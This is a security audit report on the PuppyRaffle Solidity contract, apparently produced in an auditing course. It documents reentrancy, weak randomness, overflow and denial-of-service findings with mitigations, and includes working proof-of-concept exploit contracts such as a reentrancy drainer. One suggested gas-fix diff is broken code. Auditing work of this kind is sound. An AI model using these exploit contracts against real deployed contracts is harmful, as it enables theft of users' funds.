PuppyRaffle Audit Report

Version 1.0

Finetoshi

January 6, 2024

PuppyRaffle Audit Report

Finetoshi

January 6, 2023

This report was produced by me(Finetoshi) during a course by updraft.cyfrin.io: Security & Auditing

Prepared by: Finetoshi Lead Auditors:

- Finetoshi

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters:
   - address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Finetoshi makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

I used Foundry test-suite, aderyn and slither as the tools to assist me in testing and crafting PoCs.

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Gas	2
Info	8
Total	18

Findings

High

[H-1] Reentrancy Attack in the `PuppyRaffle::refund` function. It allows for any `msg.sender` that is part of the `players` array to steal all the contract's ETH.

Description: This particular line: https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/e01ef1124677fb78249602a171 allows reentrancy by being implemented before the Effects in the `refund` function. There is a particularly safe attitude in these type of scenarios: CEI (Checks, Effects, Interactions), which in this case is not followed, therefore leading to Reentrancy.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        // @audit [C] Reentrancy - refer to test/attackerContracts/
            reRefund.sol::ReRefund and https://solidity-by-example.org/
            hacks/re-entrancy/
        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact: Compromisation of User and Protocol funds, by being drainable by any malicious participant via a simple to execute Reentrancy bug.

Proof of Concept: Proof of Concept is done via Foundry and Solidity Contract, refer to the malicious attacker contract called `test/attackerContracts/ReRefund.sol::ReRefund`.

1. Users Enter the Raffle
2. Attacker sets up a contract with `receive` or `fallback` functions that call the `PuppyRaffle::refund`.
3. Attacker enter the contract address into the contest via `PuppyRaffle::enterRaffle`
4. Attacker calls `PuppyRaffle::refund` through the malicious contract, draining the contract balance.

Reentracy PoC

Firstly the attacker enter's the contract's address as a participant manually, calling the `PuppyRaffle::enterRaffle` function, and then calls `ReRefund::rerefund` function which triggers a refund, and then sends funds to the malicious contract which triggers the `ReRefund::receive` function, which calls the `PuppyRaffle::refund` again, and it repeats, until `PuppyRaffle` contract is out of ETH.

```
// ReRefund.sol - Attacker's contract
interface IPuppyRaffle {
    // function enterRaffle(address[] calldata participants) external
       payable;
    function refund(uint256) external;
    function getActivePlayerIndex(address player) external view returns
        (uint256);
}

contract ReRefund {
    function rerefund(address _raffle) public payable {
        uint256 i = IPuppyRaffle(_raffle).getActivePlayerIndex(address(
            this));
        IPuppyRaffle(_raffle).refund(i);
    }

    receive() external payable {
        if (msg.sender.balance >= 1 ether) {
            uint256 i = IPuppyRaffle(msg.sender).getActivePlayerIndex(
                address(this));
            IPuppyRaffle(msg.sender).refund(i);
        }
    }
}

// Foundry test
    function test_reentrancy_refund() public {
        // vm.deal(address(puppyRaffle), 100 ether);
        // vm.deal(attacker, 2 ether);
        vm.startPrank(attacker);
        ReRefund reRefund = new ReRefund();
        vm.stopPrank();

        // pre-attack - users enter raffle
        address[] memory rerefundArr = new address[](2);
        rerefundArr[0] = address(reRefund);
        rerefundArr[1] = playerOne;
        puppyRaffle.enterRaffle{value: entranceFee * 2}(rerefundArr);

        console2.log("Pre-Attack PuppyRaffle balance: ", address(
            puppyRaffle).balance);
        assertEq(address(reRefund).balance, 0);

        // attack
        vm.startPrank(attacker);
        reRefund.rerefund(address(puppyRaffle));
```

```
        vm.stopPrank();

        // post-attack stats
        assertEq(address(reRefund).balance, entranceFee * 2);
        console2.log("Post-Attack balances:");
        console2.log("  PuppyRaffle balance: ", address(puppyRaffle).balance);
        console2.log("  Rerefund balance: ", address(reRefund).balance);
        // console2.log("  Attacker balance: ", address(attacker).balance);
    }
```

Recommended Mitigation: The recommended mitigation is either using OpenZeppelin's Reentrancy librabry, or implementing the `CEI` method like so:

CEI Implementation

This way if Reentracy attack was to be replicated, the `CHECKS` section would block it, since `EFFECTS` have taken place before the external `INTERACTIONS` which we always have to assume *unsafe*

```
    function refund(uint256 playerIndex) public {
        // CHECKS
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

        // EFFECTS
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        // INTERACTIONS
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

For futher study of this vulnerability refer to: https://solidity-by-example.org/hacks/re-entrancy/

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence/predict the rarity of the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not good in raffles. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note This additionally means users could front-run this function and call `refund` if the see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest `rarest` puppy, making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to preduct when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0`, integers were prone to overflows.

```
uint64 maxUint64Value = type(uint64).max; // 18446744073709551615
maxUint64Value = maxUint64Value + 1 // 0
```

Impact: When 93 players(18.6 ETH in fees) participate an Integer overflow occurs inside the `PuppyRaffle::totalFees`, therefore making the `totalFees` associated ETH stuck inside the contract. This also breaks the `PuppyRaffle::withdrawFees` functions's functionality, since it's functionality relies on `require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");`, which will never be equal once this overflow occurs, therefore making all the ETH stuck.

Proof of Concept: Proof of Code is written in the following foundry test.

Foundry PoC

```
function test_IntegerOverflow_totalFees_selectWinner() public {
        // how many entrants to overflow `uint64 totalFees` to stuck
            Ether in contract
        uint256 maxU64 = type(uint64).max;
        uint256 overflowU64Target = maxU64 + 1; // 20% out of 100%
```

```

        uint256 etherToSupply = overflowU64Target * 5; // 100%
        uint256 amountOfPlayers = (etherToSupply / 1 ether) + 1; // 93 players

        console.log("max uint64 value: ", maxU64);
        console.log("value to overflow uint64: ", overflowU64Target);
        console.log("amount of players to achieve the overflow: ", amountOfPlayers);

        uint256 addressThreshold = 200;
        address[] memory players = new address[](amountOfPlayers);
        for (uint256 i = 0; i < amountOfPlayers; i++) {
            players[i] = address(i + addressThreshold);
        }

        hoax(attacker);
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);

        // ether in entries
        uint256 raffleBalance = address(puppyRaffle).balance;

        // skip time for raffle
        vm.warp(2 days);

        // select winner
        puppyRaffle.selectWinner();

        console.log("post-overflow stats:");
        console.log("   should have totalFees: \n\t\t", (address(puppyRaffle).balance / 20) * 100);
        console.log("   actual totalFees post-overflow: \n\t\t", puppyRaffle.totalFees());

        assertEq(puppyRaffle.previousWinner().balance, (raffleBalance * 80) / 100);
        assert(uint256(puppyRaffle.totalFees()) != address(puppyRaffle).balance);

        vm.expectRevert();
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

1. Use a solidity version >= `0.8.0` or the OpenZeppelin SafeMath Library, however using the SafeMath library is discouraged because it would most probably cause issues - as in not being able to have more than 92 contestants per raffle.
2. use `uint256` for `totalFees` - making the overflow very unprobable due to the cost-ineffective

nature of such a high amount of ETH in entries to overflow a `uint256`

[H-4] Mishandling of ETH: `selfdestruct` severely disrupts `PuppyRaffle::withdrawFees` function's functionality causing ETH related to `PuppyRaffle::totalFees` to get stuck inside the contract.

Description: `withdrawFees` function relies on `address(this).balance` to be equal to `uint256(totalFees)` where if they get uneven then `withdrawFees` reverts under the assumption of Active Players.

There is another possibility to consider, where `selfdestruct` is not even in that scenario. That is contestants entering right after a winner is selected, making the `withdrawFees` unusuable under the assumption of Active Players.

```
/// @notice this function will withdraw the fees to the feeAddress
    function withdrawFees() external {
        require(address(this).balance == uint256(totalFees), "
           PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;

        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: Inability to withdraw generated fees from raffle entries. On-top this is a very low cost attack and the amount of funds to render the `withdrawFees` functionality is minimal - therefore making it very likely to occur.

Proof of Concept:

1. Attacker sets up a contract with ETH and implements the `selfdestruct` functionality inside it.
2. `selfdestruct` forces ether into an address no matter if it has `receive` or `fallback`, making PuppyRaffle contract receive ETH.
3. `address(this).balance == uint256(totalFees)` will not be equal.

Recommended Mitigation:

1. Implement `receive()` function that adds the received values to the `totalFees` or reverts on `receive`/`fallback`.
2. Implement a `roundId` mechanism that allows withdraws only if `roundId != lastRoundId` to avoid draining active players that are still elligible for a refund.

Medium

[M-1] Looping through `players` address array to check for duplicates inside the `enterRaffle` function is a potential Denial of Service, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function adds new addresses and then loops to check for duplicates, but the longer the array `PuppyRaffle::players` array is, the more the gas it will cost for players that enter later. Every address in the `players` array, is an additional check the loop has to make.

```
        // Check for duplicates
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. It discourages later users from entering the raffle.

If the entrance fee is viable for the attacker to flood the `players` array, so that no one else enters due to high gas cost of entering the raffle.

Proof of Concept: Using a foundry test suite `PuppyRaffleTest::test_dos_playersLength_usingEnterR` I noted down the gas cost of entering for `playerOne` that enters before an attacker signs up 100 player addresses for entry. Then `playerTwo` enters for a much higher gas cost.

```
Pre-attack Gas to sign-up 1 address:  34737
Attacker signed-up amount of players:  100
Post-attack Gas to sign-up 1 address 4187949

4187949 / 34737 = ~120
```

The `playerTwo` signed-up for the raffle for around 120x times more gas cost than `playerOne` that entered before the attacker signing up 100 addresses.

PoC

The test to place into a `PuppyRaffleTest.t.sol`.

```
function test_dos_playersLength_usingEnterRaffle() public {
    address[] memory warmupArr = new address[](1);
    warmupArr[0] = warmup;
    hoax(warmup);
    puppyRaffle.enterRaffle{value: entranceFee}(warmupArr);

```

```
    // pre-attack gas
    address[] memory players1 = new address[](1);
    players1[0] = playerOne;
    uint256 preGasA = gasleft();
    hoax(playerOne);
    puppyRaffle.enterRaffle{value: entranceFee}(players1);
    uint256 preGasB = preGasA - gasleft();

    // attack - note: this doesn't need to be an attack, simply 100 new player addresses would sign-up and cause the same issue
    uint256 amountOfPlayers = 100;
    uint256 addressThreshold = 200;
    address[] memory players = new address[](amountOfPlayers);
    for (uint256 i = 0; i < amountOfPlayers; i++) {
        players[i] = address(i + addressThreshold);
    }

    hoax(attacker);
    puppyRaffle.enterRaffle{value: entranceFee * amountOfPlayers}(players);

    // post-attack gas
    address[] memory players2 = new address[](1);
    players[0] = playerTwo;
    uint256 postGasA = gasleft();
    hoax(playerTwo);
    puppyRaffle.enterRaffle{value: entranceFee}(players2);
    uint256 postGasB = postGasA - gasleft();

    console2.log("Pre-attack Gas to sign-up 1 address: ", preGasB);
    console2.log("Attacker signed-up amount of players: ", amountOfPlayers);
    console2.log("Post-attack Gas to sign-up 1 address", postGasB);

    assert(preGasB < postGasB);
}
```

Recommended Mitigation: Recommendations

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

My solution

```
+   mapping(address => uint256) public addressToRaffleId;
+   uint256 public raffleId = 1;
    .
    .
```

```diff
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
-        for (uint256 i = 0; i < newPlayers.length; i++) {
-            players.push(newPlayers[i]);
-        }
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
+        }


-        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-             }
-        }

         emit RaffleEnter(newPlayers);
     }

     function selectWinner() external {
         ...
+        raffleId = raffleId + 1;
         ...
```

Patrick's Video solution

```diff
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }
-        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
```

```
-               }
-           }
+           // Check for duplicates only from the new players
+           for (uint256 i = 0; i < newPlayers.length; i++) {
+               require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+           }

            emit RaffleEnter(newPlayers);
        }

        function selectWinner() external {
            ...
+           raffleId = raffleId + 1;
            ...
```

3. Alternatively, could use Openzeppelin's `EnumerableSet` library.

[M-2] Unsafe Casting of `uint256 fee` to `uint64(fee)` which is also related to the issue of Integer Overflow. Refer to The H-3 Integer Overflow Vulnerability for detailed explanation

```
        totalFees = totalFees + uint64(fee);
                                ^^^^^^^^^^^
```

[M-3] If the winner is a contract, and maliciously reverts on receive/fallback, then the `PuppyRaffle::selectWinner` functionality is damaged for that specific function call.

Description: `PuppyRaffle::selectWinner` is responsible for drafting the winner, and accumulating fees. A malicous user can deploy many smart contracts and enter them as contestants to rise the chances of winning. Those smart contracts revert on recieving ETH.

Impact: The result of such attack leads to loss of user funds and accumulated fees, as `selectWinner` function is much needed for the contract logic to be able to withdraw the winnings. The `selectWinner` function would be needed to be called multiple times to pick a non-contract winner.

Users can get back their ETH would be via the `PuppyRaffle::refund` function.

The impact is highly dependant on how many entrants are there and how financially capable the attacker is to disrupt the PuppyRaffle functionality/reputation.

Proof of Concept: Implemented in Foundry and Solidity via a test and a malicious contract example

1. Attacker launches as many

PoC

```
// Malicious contract: test/NoWinnerEver.sol
pragma solidity ^0.7.6;

contract WinnerContract {
    receive() external payable {
        revert();
    }
}

// Foundry test
function test_winnerIsMaliciousContract_selectWinner() public {
        vm.deal(attacker, 4 ether);
        vm.startPrank(attacker);
        WinnerContract winnerContract0 = new WinnerContract();
        WinnerContract winnerContract1 = new WinnerContract();
        WinnerContract winnerContract2 = new WinnerContract();
        WinnerContract winnerContract3 = new WinnerContract();
        address[] memory winnerContracts = new address[](4);
        winnerContracts[0] = address(winnerContract0);
        winnerContracts[1] = address(winnerContract1);
        winnerContracts[2] = address(winnerContract2);
        winnerContracts[3] = address(winnerContract3);

        puppyRaffle.enterRaffle{value: entranceFee * 4}(winnerContracts
           );
        vm.stopPrank();

        vm.warp(2 days);
        vm.expectRevert("PuppyRaffle: Failed to send prize pool to
           winner");
        puppyRaffle.selectWinner();
    }
```

Recommended Mitigation:

1. Do not allow smart contracts as entrants (not recommended)
    - Multi-sig wallets could want to enter the contest - and they would not be allowed to
2. Create a mapping of addresses -> payout amounts so the winners can pull their funds out themselves with a new `claimPrize` function. ('Pull Over Push' pattern)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant and for players that enter the contest first - making them index 0 in the `PuppyRaffle::players` array.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0. If a player is not active, it will also return a 0.

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
    function getActivePlayerIndex(address player) external view returns
         (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }

        return 0;
    }
```

Impact: This could lead to confusing players, making them think they have not entered the raffle.

Proof of Concept:

1. User enters the raffle, they happen to be the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared `constant` or `immutable`.

Reading from storage is much more expensive than reading from a `constant` or `immutable` variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`: https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/e01ef1124677fb78249602a171b994e1f48a1298/src/PuppyRaffle.sol#L24

- `PuppyRaffle::commonImageUri` shoudl be `constant`: https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/e01ef1124677fb78249602a171b994e1f48a1298/src/PuppyRaffle.sol#L38
- `PuppyRaffle::rareImageUri` shoudl be `constant`: https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/e01ef1124677fb78249602a171b994e1f48a1298/src/PuppyRaffle.sol#L43
- `PuppyRaffle::legendaryImageUri` shoudl be `constant`: https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/e01ef1124677fb78249602a171b994e1f48a1298/src/PuppyRaffle.sol#L48

[G-2] Storage variables in a loop should be cached

```
+  uint256 playersLength = newPlayers.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
-           require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-       }
-   }
+   for (uint256 i = 0; i < playersLength.length - 1; i++) {
+       for (uint256 j = i + 1; j < playersLength.length; j++) {
+           require(playersLength[i] != playersLength[j], "PuppyRaffle: Duplicate player");
+       }
+   }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/e01ef1124677fb78249602a17

```
pragma solidity ^0.7.6;
```

[I-2] Using outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommended Mitigation: Deploy with any of the following Solidity versions:

```
0.8.18
```

Impact: The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 72

```
            feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 192

```
            previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 216

```
            feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice.

It's best to keep code clean following CEI: Checks, Effects, Interactions

Description: Even-though no vulnerability arises in this case, the CEI is not being followed, which is a standard procedure to mitigate some forms of exploits.

Impact: NONE

Recommended Mitigation:

```
+        _safeMint(winner, tokenId);
         (bool success,) = winner.call{value: prizePool}("");
         require(success, "PuppyRaffle: Failed to send prize pool to winner");
-        _safeMint(winner, tokenId);
     }
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use constant variables that describe the number's purpose

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 POOL_PRECISION = 100;
    .
    .
    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
        / POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
        POOL_PRECISION;
```

[I-6] State changes are missing events

State changes missing events:

- event RaffleWinner(address)
- event FeesWithdrawn(uint256)

Impact: None, if there isn't an off-chain functionality that builds up on events. Contract events are useful for monitoring events more clearly - especiall regarding who the raffle winner is.

Recommended Mitigation: Implement events for important events inside the contract, at-least for the `selectWinner` function, since being a winner seems like an important event in the raffle.

[I-7] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 62

```
event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 63

```
event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 64

```
event FeeAddressChanged(address newFeeAddress);
```

[I-8] `PuppyRaffle::_isActivePlayer` internal function is never used and should be removed

1. Gas Optimization: Every line of code in a smart contract contributes to the overall size of the compiled contract.
2. Security: Every additional function in a contract, even if it's not currently used, increases the attack surface.
3. Clarity and Maintenance: Keeping the codebase clean and free of unused code makes the contract more readable and easier to maintain.
4. Auditing and Verification: Unused code can complicate the audit process, potentially leading to higher costs and longer timeframes for the audit.
5. Compiler Optimizations: While the Solidity compiler does perform optimizations, explicit removal of unused functions ensures that these parts of the code are not included in the final bytecode.
6. Avoiding Confusion